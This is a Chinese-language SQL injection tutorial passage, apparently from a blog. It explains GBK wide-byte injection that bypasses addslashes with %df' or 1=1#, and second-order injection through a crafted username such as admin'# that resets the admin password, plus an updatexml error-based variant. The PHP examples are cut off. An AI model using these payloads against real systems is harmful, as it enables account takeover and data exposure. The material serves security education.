所以我們需要利用寬字節注入吃掉轉義函數添加的\讓我們的'發揮它的作用。
寬字符是指兩個字節寬度的編碼技術,如UNICODE、GBK、BIG5等。當MYSQL數據庫數據在處理和存儲過程中,涉及到的字符集相關信息包括:
(1)character_set_client:客戶端發送過來的SQL語句編碼,也就是PHP發送的SQL查詢語句編碼字符集。 |
我們輸入%df' or 1=1;%20%23,如圖:
%df\'對應的編碼就是%df%5c',即漢字運',這樣單引號之前的轉義符號\就被吃調了,從而轉義消毒失敗。然后利用%23也就是#注釋掉后面的引號,我們的語句就能夠正常執行了。
%df%27===(addslashes)===>%df%5c%27===(數據庫GBK)===>運' |
后面就是根據情況正常選擇聯合查詢、報錯注入、盲注靈活使用。
二次注入
二次注入的過程是先將注入語句插入到數據庫,然后在某些情況下代碼在執行SQL語句的時候會自動用到數據庫中的數據,從而把我們事先插入到數據庫中的注入語句帶入執行了。
自己簡單寫了一個小例子,代碼很簡單,存在很多其他漏洞和注入,這里只是演示二次注入,其他注入請看其他章節:
注冊頁面
<?php |
修改密碼頁面(本人php也很渣,抱歉,我把登陸代碼和修改密碼寫到一個頁面了)
<?php |
二次注入利用過程:
目前數據庫中存在的用戶如圖:
我們來注冊一個用戶
可以看到插入的單引號被轉義了,所以在注冊時無法進行注入,上面的代碼其實可以通過密碼框進行注入,實戰中密碼會有一個加密的過程,然后才帶入SQL語句,在這里不做討論。
此時我們看一下插入到數據庫中的數據:
轉義只是為了在執行SQL語句時不會因為特殊字符影響,把特殊字符當成普通字符,可以看到插入到數據庫的還是原始的'。
下面我們來看看修改密碼操作。
上面的代碼可以看到,修改密碼修改的是當前登陸的用戶的密碼,SQL語句的條件是用戶名等於當前登陸的用戶名,而這里取用戶名的時候沒有進行轉義,從而我們用戶名中的單引號就可以發揮作用影響SQL語句的執行。
我們可以簡單構造一個payload修改任意用戶密碼:
比如我們想修改用戶名為admin的密碼,注冊用戶時用戶名可以使用: |
這樣在我們修改密碼的時候語句會變成:
UPDATE admin SET password='新密碼' where username='admin'#' and password='隨便' //這樣引號閉合前面的引號,username='admin',然后#注釋掉后面的語句,從而直接將admin的密碼修改為我們設置的新密碼 |
可以看到admin用戶的密碼已經被修改了。
可以輸出錯誤信息的話還可以結合報錯注入:
aa'or updatexml(1,concat(0x7c,user()),2) or' //注冊的用戶名 |
修改密碼
當然二次注入不止在注冊用戶時可能會有,只要我們插入數據庫的數據在某處SQL語句中被使用就可能產生二次注入,根據程序SQL語句的不同,能做的事也不同,結合實際靈活使用。
---恢復內容結束---